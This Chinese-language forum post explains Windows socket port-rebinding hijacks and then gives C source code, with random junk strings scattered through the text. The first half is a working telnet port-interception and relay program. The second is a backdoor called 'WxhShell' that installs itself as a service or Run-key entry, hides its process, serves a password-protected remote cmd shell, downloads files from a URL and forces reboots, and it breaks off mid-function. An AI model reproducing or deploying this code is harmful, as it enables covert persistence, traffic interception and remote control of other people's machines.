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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: #P;vc{ Iq s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); K# BZ Jcb yrFl,/8&G saddr.sin_family = AF_INET; q;9OqArq "~6IjW*/ saddr.sin_addr.s_addr = htonl(INADDR_ANY); RBV*e9P% I4MZJAYk bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); !'8jy_<9 Z>J3DH 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 SfUbjs@a @~`:sa+H 这意味着什么?意味着可以进行如下的攻击: 0 1:(QJ <&iLMb:% 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 F3&:KZ!V&m TJz}
8-#t 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) $(&+NJ$U$ }Ih5`$ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 0"DS>:Ntk |!*abc\`(` 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 mjJ/rx{kbw xOdLct 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 -\V;Gw8mD Zxn>]Z_ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 7nk3^$| j:xm>X' 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 uF<\|y rFt YL9Tsw #include DUyUA'*4n| #include n[ #include >o!5)\F #include *DPKV$ DWORD WINAPI ClientThread(LPVOID lpParam); /|,:'W%U int main() Y!3i3D { oE$zOS&2 WORD wVersionRequested; *2r(!fJP=^ DWORD ret; tS6r4d%~= WSADATA wsaData; aIklAj)= BOOL val; Rj~y#m SOCKADDR_IN saddr; jP"yG# SOCKADDR_IN scaddr; Zl{DqC^ int err; apv"s+ SOCKET s; E
rnGX#@v SOCKET sc; PAs.T4Av^ int caddsize; R6qC0@* HANDLE mt; BaOPtBYA: DWORD tid; 1JF>0ijU@ wVersionRequested = MAKEWORD( 2, 2 ); %oiA'hz;* err = WSAStartup( wVersionRequested, &wsaData ); vz`r
!xj) if ( err != 0 ) { @S?D}myD printf("error!WSAStartup failed!\n"); G[\3)@I return -1; c}D>.x|] } z-;yDB:~t saddr.sin_family = AF_INET; oL*ZfF3 e4Xo(EY & //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 yr34&M(a gbN@EJ saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); \zV'YeG saddr.sin_port = htons(23); T#D*B]oZ} if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) + wF5( { Rmh u"N/q printf("error!socket failed!\n"); <k7q9"\4 return -1; LGPg\g` } HOlMj!. val = TRUE; 4nGr?%> //SO_REUSEADDR选项就是可以实现端口重绑定的 zH1ChgF=} if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) sH\ h{^ { <(B: "wI printf("error!setsockopt failed!\n"); f%c- return -1; l#;o^H i } @rxfOc0J# //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; r9$7P?zm //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 1zc-$B`t //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 m'5rzZP JbW!V Y if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) .$s=E8fW { 6x"|,,&MD0 ret=GetLastError(); $jL+15^N0+ printf("error!bind failed!\n"); Tg/rV5@ka return -1; 07A2@dx } l5,}yTUta listen(s,2); bb"x^DtT while(1) ,[)f-FmcU { uqK[p^{ caddsize = sizeof(scaddr); <PXnR\ //接受连接请求 JU RJN+)z sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 19;F+%no# if(sc!=INVALID_SOCKET) t$5)6zG { D8wZC'7 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); I>45xVA if(mt==NULL) LKI2R_|n { M;1B}x@ printf("Thread Creat Failed!\n"); Ub<^;Du5 break; <!I^ xo[ } dJUI.!hv; } `&qeSEs\ CloseHandle(mt); J7s\
} c9axzg
UA closesocket(s); n]J;BW&Av WSACleanup(); 7wwlZ;w return 0; K 6HH_T } =B tmi DWORD WINAPI ClientThread(LPVOID lpParam) c`4i#R { 4@* `V SOCKET ss = (SOCKET)lpParam; MU5#ph SOCKET sc; 0O7VM)[ unsigned char buf[4096]; "uHU!)J#z SOCKADDR_IN saddr; rklK=W z long num; 7s.vJdA]6 DWORD val; =%$BFg1a( DWORD ret; GXx/pBdy[4 //如果是隐藏端口应用的话,可以在此处加一些判断 iJ 8I#
j+N //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 vV 7L
:> saddr.sin_family = AF_INET; 3M<T}> saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); t/0h)mL} saddr.sin_port = htons(23); %eLf6|1x if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) .T }q"
{ O7GJg;>? printf("error!socket failed!\n"); Hp?uYih0 return -1; 8i'EO6 } a0[Mx 4 val = 100; %!QY:[ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
*"K7<S[ { 'Z ,T,zW ret = GetLastError(); g;PZ$|%&s> return -1; )6,Pmq~) } Ncle8=8 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) sH{4 .tw { ik Pm,ZN ret = GetLastError(); NlV,]
$L1T return -1; coFQu ;i } \)mV2r!% if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) $09PZBF,i { #ysSfM6 printf("error!socket connect failed!\n"); /\|AHM closesocket(sc); !'T,%8'] closesocket(ss); ECEDNib return -1; u[2B0a } QR]61v:` while(1) @F%_{6h { DqTp*hI //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 [d/uy>z, //如果是嗅探内容的话,可以再此处进行内容分析和记录 E<
Ini'od[ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 &Eqa y' num = recv(ss,buf,4096,0); $7JWA9#N! if(num>0) @E@5/N6M send(sc,buf,num,0); j,i>
1|J else if(num==0)
{]=oOy1 break; b^I(>l- num = recv(sc,buf,4096,0); GMRFZw_M if(num>0) 8WvQ[cd send(ss,buf,num,0); v05B7^1@_ else if(num==0) 5/"&C-t break; A~7q=- } 0-a[[hL? closesocket(ss); VUE6M\&z> closesocket(sc); q'~F6$kv5 return 0 ; p{k^)5CR/ } vynchZ+g] qz2j55j FR9*WI
========================================================== U6Ws#e #_}r)q
下边附上一个代码,,WXhSHELL {u,yX@F4l Zn9ecN ========================================================== T)"LuC#C mbh;oX+ #include "stdafx.h" o$,Dh?l K{#1O=Gi #include <stdio.h> I3$/# #include <string.h> TScI_8c> #include <windows.h> C=|X]"*:u0 #include <winsock2.h> /WX
0}mWu #include <winsvc.h> D%NVqk| #include <urlmon.h> BavGirCp
#3m7`}c #pragma comment (lib, "Ws2_32.lib") 't:s6 #pragma comment (lib, "urlmon.lib") -32?]LN}
m^rrbU+HM? #define MAX_USER 100 // 最大客户端连接数 iS%md #define BUF_SOCK 200 // sock buffer b`Agb<x" #define KEY_BUFF 255 // 输入 buffer >4N=P0= o$FYCz n #define REBOOT 0 // 重启 E5U{.45 #define SHUTDOWN 1 // 关机 )@OKL0t %SSBXWP #define DEF_PORT 5000 // 监听端口 8rwXbYx
x C-6m[W8S #define REG_LEN 16 // 注册表键长度 4RXF.kJ3= #define SVC_LEN 80 // NT服务名长度 5? rR'0 wX!>&Gc. // 从dll定义API V0!.>sX9
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); A(<"oAe| typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); AJ`R2
$ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); UAi] hUq typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 540,A,>:tb |N/Wu9w$ // wxhshell配置信息 v%6mH6V struct WSCFG { :n t\uwh int ws_port; // 监听端口 g9$P J: char ws_passstr[REG_LEN]; // 口令 hi(uL>\ int ws_autoins; // 安装标记, 1=yes 0=no {F~:86z(g char ws_regname[REG_LEN]; // 注册表键名 n-Qpg char ws_svcname[REG_LEN]; // 服务名 5QoU&Hv char ws_svcdisp[SVC_LEN]; // 服务显示名 4$=ATa;x- char ws_svcdesc[SVC_LEN]; // 服务描述信息 9q=\_[\[ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 UPI'O % int ws_downexe; // 下载执行标记, 1=yes 0=no D^%DYp char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" V.k2t$@ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 XK 09x1r l~v
BA$, }; D>~S-] 6q!smM // default Wxhshell configuration ^s=p'&6 struct WSCFG wscfg={DEF_PORT, 4:Bpz;x "xuhuanlingzhe", ?{Gf'Y}y& 1, H#+?)<UQ "Wxhshell", (i*;V0 "Wxhshell", %G%D[ i] "WxhShell Service", $_P*Bk) "Wrsky Windows CmdShell Service", pd1V8PZSG "Please Input Your Password: ", #g6*s+Gm 1, KW~fW r8 " http://www.wrsky.com/wxhshell.exe", vKvT7Zxc "Wxhshell.exe" /EpsJb`kj }; 2]f"(X4jp (.DX</f/4 // 消息定义模块 H!+T2<F9R char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; x$'0}vnT char *msg_ws_prompt="\n\r? for help\n\r#>"; tbP
;iK' char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; [qEd`8V( char *msg_ws_ext="\n\rExit."; ~!Q\\_ char *msg_ws_end="\n\rQuit."; lN-[2vT< char *msg_ws_boot="\n\rReboot..."; !] -ET7 char *msg_ws_poff="\n\rShutdown..."; V u`O%[Q/ char *msg_ws_down="\n\rSave to "; BVt)~HZ c!{]Z_d\ char *msg_ws_err="\n\rErr!"; QE8aYPSFf char *msg_ws_ok="\n\rOK!"; eT|"6WJ:{ < x==T4n/ char ExeFile[MAX_PATH]; 34$qV{Y%y int nUser = 0; @9wug!, HANDLE handles[MAX_USER]; ;1&7v int OsIsNt; bz=B&YR 8+irul{H_ SERVICE_STATUS serviceStatus; =
+=k(* SERVICE_STATUS_HANDLE hServiceStatusHandle; A]FjV~PB #q5
L4uM9 // 函数声明 3~%wA(|A int Install(void); ?l3PDorR int Uninstall(void); ,X2CV INb} int DownloadFile(char *sURL, SOCKET wsh); w53+k\. int Boot(int flag); '*PJ-=G void HideProc(void); r^$4]@Wn int GetOsVer(void); dIUg
e`O9 int Wxhshell(SOCKET wsl); 9Fkzt=(E~ void TalkWithClient(void *cs); :&/b}b!)AX int CmdShell(SOCKET sock); nDhD"rc int StartFromService(void); ]} +
NT int StartWxhshell(LPSTR lpCmdLine); V+M=@Pvp9 #!WD1a?L VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); AxOn~fZ! VOID WINAPI NTServiceHandler( DWORD fdwControl ); kdX]Afyj {I2qnTN_a // 数据结构和表定义 6IVa(; SERVICE_TABLE_ENTRY DispatchTable[] = \Q5Jg { =nmvG%.hd {wscfg.ws_svcname, NTServiceMain}, Z3)l5JG) {NULL, NULL} ezC2E/# }; QF7iU@%- F^v <z)x // 自我安装 >$.lM~k int Install(void) LJ+fZ
N { @\=%M^bx char svExeFile[MAX_PATH]; iYyJq;S
HKEY key; B tZycI strcpy(svExeFile,ExeFile); uH 6QK\ 0PK*ULwSN // 如果是win9x系统,修改注册表设为自启动 3r)<:4a
u& if(!OsIsNt) { %e@Jc3 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !/6`<eQ
` RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); jNIZ!/K RegCloseKey(key); zuR F6?un if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { L)sCc0fv7k RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); B@Ae2_; RegCloseKey(key); 3+%c*}KC~ return 0; "2}E ARa } RK*ZlD< } dh~+0FZ{A } <]u~;e57 else { C>?`1d@ Rr#vv // 如果是NT以上系统,安装为系统服务 wuv2bd )+ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); %Q}T9%Mtj if (schSCManager!=0) O%(E 6
n { qx1}e SC_HANDLE schService = CreateService ~t $zypw ( "0lC:Wu] schSCManager, 1w)#BYc=L wscfg.ws_svcname, N*C"+2 wscfg.ws_svcdisp, kc3dWWPe SERVICE_ALL_ACCESS, PuuO2TZ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , =]OG5b_-Y SERVICE_AUTO_START, kO]],Vy` SERVICE_ERROR_NORMAL, @y (9LSs
svExeFile, LV:`siK NULL, +=5Dt7/| NULL, v$O%U[e< NULL, \`|*i$ NULL, A&$oiLc NULL a-t}L{~ ); :\+;5Se+l if (schService!=0) Tn~b#-0 { 8h&Ed=gi CloseServiceHandle(schService); Hd1e9Q,:| CloseServiceHandle(schSCManager); |kHPk)}I] strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); _$+lyea strcat(svExeFile,wscfg.ws_svcname); l%aiG+z%6} if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { FM c9oyU~ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 50:$km\ RegCloseKey(key); 2qb,bp1$ return 0; ;xnJ+$//U } kp~@Ub
@O3 } wX3x.@!: CloseServiceHandle(schSCManager); Z;^UY\&X } Z2yZz:.' } 6wzTX8 X]?qns7 return 1; !,mv 7Yj } 1k5o?'3& YGBVGpE9 // 自我卸载 xZ*.@Pkr int Uninstall(void) 7R 40t3 { ( aGwe@AS HKEY key; 1!@KRV S$!)Uc\)A if(!OsIsNt) { ;NrN#<j(! if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { g4 BEo' RegDeleteValue(key,wscfg.ws_regname); AwhXCq|k RegCloseKey(key); !N4?>[E if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $e=pdD~ RegDeleteValue(key,wscfg.ws_regname); \BT 8-} RegCloseKey(key); I/ pv0 return 0; K<HF!YU#I2 } \X5>HPB } 7b,5*]oZ } : QK )Ym else { t7rz]EN }c>[m,lz SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); $Ik\^:- if (schSCManager!=0) /( /)nYAjk { -q9`Btz SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); c=U1/=R5 if (schService!=0) C F2*W).+ { 4s?x 8oAy if(DeleteService(schService)!=0) { -r9G5Z!|n CloseServiceHandle(schService); x0ZEVa0`4 CloseServiceHandle(schSCManager); F2/-Wk@ return 0; Rc2| o.'y }
'CqWF" CloseServiceHandle(schService); RCED
K\*m } L:HJ: CloseServiceHandle(schSCManager); 0jY#,t?> } 2;@#i*\Y } 7-nz'-' 3,@I`
M return 1; KGCm@oy } 2TN+ (B#Z! k<xiP@b{y // 从指定url下载文件 4{Vw30DZ int DownloadFile(char *sURL, SOCKET wsh) ,t4g^67R{ { Sri,sZv HRESULT hr; 7/.- dfEK char seps[]= "/"; u:+wuyu char *token; eMPkk=V char *file; gl/n*s#r_ char myURL[MAX_PATH]; *5$$C&@o9 char myFILE[MAX_PATH]; M<t>jM@'A# ,LjB%f[ strcpy(myURL,sURL); xP<cF token=strtok(myURL,seps); {/]Ks8`Dm while(token!=NULL) f
n9[Li { q' };.tv file=token; hcEUkD token=strtok(NULL,seps); \29a@ 6 } mmrx*sr= zbt>5S_ GetCurrentDirectory(MAX_PATH,myFILE); n>F1G
MX strcat(myFILE, "\\"); R v61*F4 strcat(myFILE, file); YYFJJ,7? send(wsh,myFILE,strlen(myFILE),0); tcYbM+4e send(wsh,"...",3,0); zmf`}j[ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 5}3Q}o# if(hr==S_OK) 38IVSK_ return 0; #t
/.fd else {K-]nh/ return 1; D*d@<&Bl4< }-H<wQ&x } `A5^D V\8vJ3.YV // 系统电源模块 o<f[K}t9 int Boot(int flag) _@3?yv~ D { \ /C-e HANDLE hToken; @`<v d@ TOKEN_PRIVILEGES tkp; Ea@N:t?(8= KDP7u if(OsIsNt) { [\NyBc OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); /esSM~*H LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); >#z*gCO5, tkp.PrivilegeCount = 1; pEIc?i* tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; rf"%D<bb AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); unqX<6hu if(flag==REBOOT) { uX*H2"A if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) %\?2W8Qv_J return 0; eiB5 8b3 } mA:NAV$!s else { `X8AM= if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) O/M\Q return 0; wrq0fHwM } /g3U,?qP } Ilvz@= else { oXG,8NOdC if(flag==REBOOT) { %of#VSk if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) -R
4t return 0; :_YpSw<Q } *h Ph01 else { &)
7umdSgi if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) iJ_FJ[ U return 0; =/MAKi}g } is`Eqcj`dr } iQpKcBx CMa ~BOt # return 1; gCAWRNp } aF4vNUeG ^y"Rdv // win9x进程隐藏模块 }YHoWYR void HideProc(void) z5Hz-. { Two$wL/ g:MpN^l HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ot P7;l if ( hKernel != NULL ) `As.1@ { IpQ51 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 9 aT#7B ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); s
}q6@I FreeLibrary(hKernel); [i24$UT } $aTZC>R /7X:=~m return; CN0&uyu#4 } /!,>P[Vx S2/c2 // 获取操作系统版本 B3uv>\ int GetOsVer(void) 4`uI)N(}* {
| Euf:yWY OSVERSIONINFO winfo; M
H }4F winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); eS9/-Y GetVersionEx(&winfo); HErTFY+vC if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) rgheq<B: return 1; %^}3:0G else SLRQ3<0W_ return 0; (u@p[ncN} } `WHP#z iF2/:iP // 客户端句柄模块 y8jk9Tv int Wxhshell(SOCKET wsl) +~Ri CZt { b8v?@s~ SOCKET wsh; jI0gQ [ struct sockaddr_in client; B@dA?w.x DWORD myID; p;Kw$fQ? :~BY[") while(nUser<MAX_USER) k0.|%0?K { dC;@ Fn int nSize=sizeof(client); - xtj:UO wsh=accept(wsl,(struct sockaddr *)&client,&nSize); w$UWfL( if(wsh==INVALID_SOCKET) return 1; L!:} 01q5BQ7u handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); DOiL3i"H if(handles[nUser]==0) "Q;n-fqf closesocket(wsh); N8;/Zd;^ else rmutw~nHD nUser++; >[B[Q_}) } EI6K0{'&X WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ::N'tcZ^2 "#^11 o8 return 0; =xFw4D9 } 62Yi1<kV@ 9r!psRA:`) // 关闭 socket <<K G S void CloseIt(SOCKET wsh) EX UjdJs" { 5
rkIK closesocket(wsh); Kf
D8S nUser--; hkeOe ExitThread(0); jI!}}K)d } wN8-Me TG'_1m*$ // 客户端请求句柄 ^B~z .F
i void TalkWithClient(void *cs) g|8G!7O { ZFh2v]|! WPiQ+(pt SOCKET wsh=(SOCKET)cs; 4M'y9 ( char pwd[SVC_LEN]; ax&, char cmd[KEY_BUFF]; %JmSCjt`G char chr[1]; z/aZD\[_ int i,j; !_)*L+7f_ n#,|C`2r while (nUser < MAX_USER) { hl?G_%a U7(84k\j if(wscfg.ws_passstr) { {j.5!Nj]B if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 57^X@ra$ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); LC)-aw>- //ZeroMemory(pwd,KEY_BUFF); q-O=Em <* i=0; .4pWyqU)! while(i<SVC_LEN) { |T0jq Q1? !,a // 设置超时 Nw'i;}0v7r fd_set FdRead; e*.l6H/B struct timeval TimeOut; 6VpT*,2d~ FD_ZERO(&FdRead); ^6`"f FD_SET(wsh,&FdRead); mnswGvY TimeOut.tv_sec=8; ,cD(s(6+ TimeOut.tv_usec=0; > f,G3Ay int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); =m6;]16D if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); H'Q4IRT 5%j
!SVW if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `)$'1,]u pwd =chr[0]; G4][`C]8c if(chr[0]==0xd || chr[0]==0xa) { 5]DgfwX pwd=0; #@Yw]@5M break; ys|a ^VnN } <z+5+h|^ i++; ).e_iE[& } \?A 7{IY XOK.E&eilj // 如果是非法用户,关闭 socket Q[J% if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); F[mL_JU
} S,,,D+4 [=imF^=3Vb send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); hs< )< send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;LM`B^Q]s :G\f(2@ while(1) { n!e4"|4~z hOjy$Z ZeroMemory(cmd,KEY_BUFF); yUcWX bT@
P 0v&*y3Y // 自动支持客户端 telnet标准 y6tzmyg j=0; _Vr>/f while(j<KEY_BUFF) { $
\0)~cy if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X@JrfvKv[d cmd[j]=chr[0];
Kk|uN#m if(chr[0]==0xa || chr[0]==0xd) { 1 i #
.h$ cmd[j]=0; <hazrKUn break; %7WGodlXW } *^+8_%;1 j++; qELy'\ } k_$:?$ ^F/gJ3_; // 下载文件 4sOo>.<x if(strstr(cmd,"http://")) { W=j send(wsh,msg_ws_down,strlen(msg_ws_down),0); H.#<&5f if(DownloadFile(cmd,wsh)) R@_i$Df| send(wsh,msg_ws_err,strlen(msg_ws_err),0);
c+P.o.k; else K1]m:Y< send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Obwj=_+upd } f/Cf2
K else { Tov !X8p MBZ/Pzl~ switch(cmd[0]) { _Eo$V& R]hilb'a // 帮助 G`3/${ti case '?': { AB92R/ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); HAJK%zLc break; CYD+o } 8wJfGY // 安装 ;G !JKg case 'i': { oqeA15k$ if(Install()) %!Z9: +;B send(wsh,msg_ws_err,strlen(msg_ws_err),0); {x$WBy9 else 3gN#[P send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @}sxA9a break; eiE36+'>b } zi M~V' // 卸载 0 ~2~^A#]\ case 'r': { 0 8*bYJu if(Uninstall()) t;g=@o9YA send(wsh,msg_ws_err,strlen(msg_ws_err),0); <49Gsm&0 else M}Sn$h_ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {uVvo=3 break; l!z)gto } ~wtl\-cY // 显示 wxhshell 所在路径 iK&s_}i: case 'p': { "SGq$3D char svExeFile[MAX_PATH]; );X&J:-l+ strcpy(svExeFile,"\n\r"); X.^S@3[ strcat(svExeFile,ExeFile); i> }P V send(wsh,svExeFile,strlen(svExeFile),0); i}d^a28 break; a'3|EWS
? } K1i@.`na/$ // 重启 B.)!zv\{ case 'b': { 53>y< send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); tS|gQUF17 if(Boot(REBOOT)) DbDi n send(wsh,msg_ws_err,strlen(msg_ws_err),0); PX7@3Y else { X)P;UVR0 closesocket(wsh); [N]5)n ExitThread(0); l\+^.ezD } `1;m:,9
break; !kAjne8]d } Ll4/P[7:? // 关机 $H}G'LqiG case 'd': { &z'NQ!uV send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); LHit9O[_/s if(Boot(SHUTDOWN)) &d1|B`gL| send(wsh,msg_ws_err,strlen(msg_ws_err),0); gl k-: # else { ]Dj,8tf`H closesocket(wsh); AunX[X9 ExitThread(0); #m
%ZW3 } of? hP1kl[ break; K9\p=H^T7 } }.+{M.[} // 获取shell $Sz@u"ig% case 's': { fjD/<`}v CmdShell(wsh); YVSAYv_ZG} closesocket(wsh); ~<
~PaP$=\ ExitThread(0); njhDrwN break; O}$@|w(8; } V 5ve // 退出 ST'eJ5P7!5 case 'x': { zn!H&!8& send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); w +pK=R CloseIt(wsh); &d5n_:^
break; K=S-p3\g } J3
Y-d7=| // 离开 k
:KN32% case 'q': { 3W&f^* send(wsh,msg_ws_end,strlen(msg_ws_end),0); #Tm^$\*h\] closesocket(wsh); }q8|t3 WSACleanup(); "$@>n(w exit(1); Q&Q$;s3|Y break; TU-aL } .
#+ N?D< } yHYqJ|t } `;X~$uS _SVIY@K|/ // 提示信息 O$
p if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 'aj97b;lpG } mI$<+S1! } Q:nBx[% 0j@nOj(3 return; cJp:0'd } 2kG(\+\ '+%<\.$ // shell模块句柄 kMJf!%L ( int CmdShell(SOCKET sock) ,Z_aZD4 { YB;q5[ STARTUPINFO si; ?o0ro?9j ZeroMemory(&si,sizeof(si)); k4@$vxy0 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; yaDK_fk si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,}8|[)" PROCESS_INFORMATION ProcessInfo; )\xDo<@ char cmdline[]="cmd"; >0^oC[ B CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); \:7G1_o return 0; n:TWZ.9 } r2t|,%%N7 )Id.yv}_ // 自身启动模式 Vn7FbaO^ int StartFromService(void) E2hy%y9Tp { NA=I7I@ typedef struct !PAuMj)P { d3,%Z & DWORD ExitStatus; ~tw#Q DWORD PebBaseAddress; |8m2i1XG DWORD AffinityMask; ca@?-) DWORD BasePriority; 8ch^e[U` ULONG UniqueProcessId; O6
:GE'S ULONG InheritedFromUniqueProcessId; lMn1e6~K } PROCESS_BASIC_INFORMATION; h vC gd^M KR49Y>s< PROCNTQSIP NtQueryInformationProcess; d9qA\ [ cPx]:sC static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; s|cL
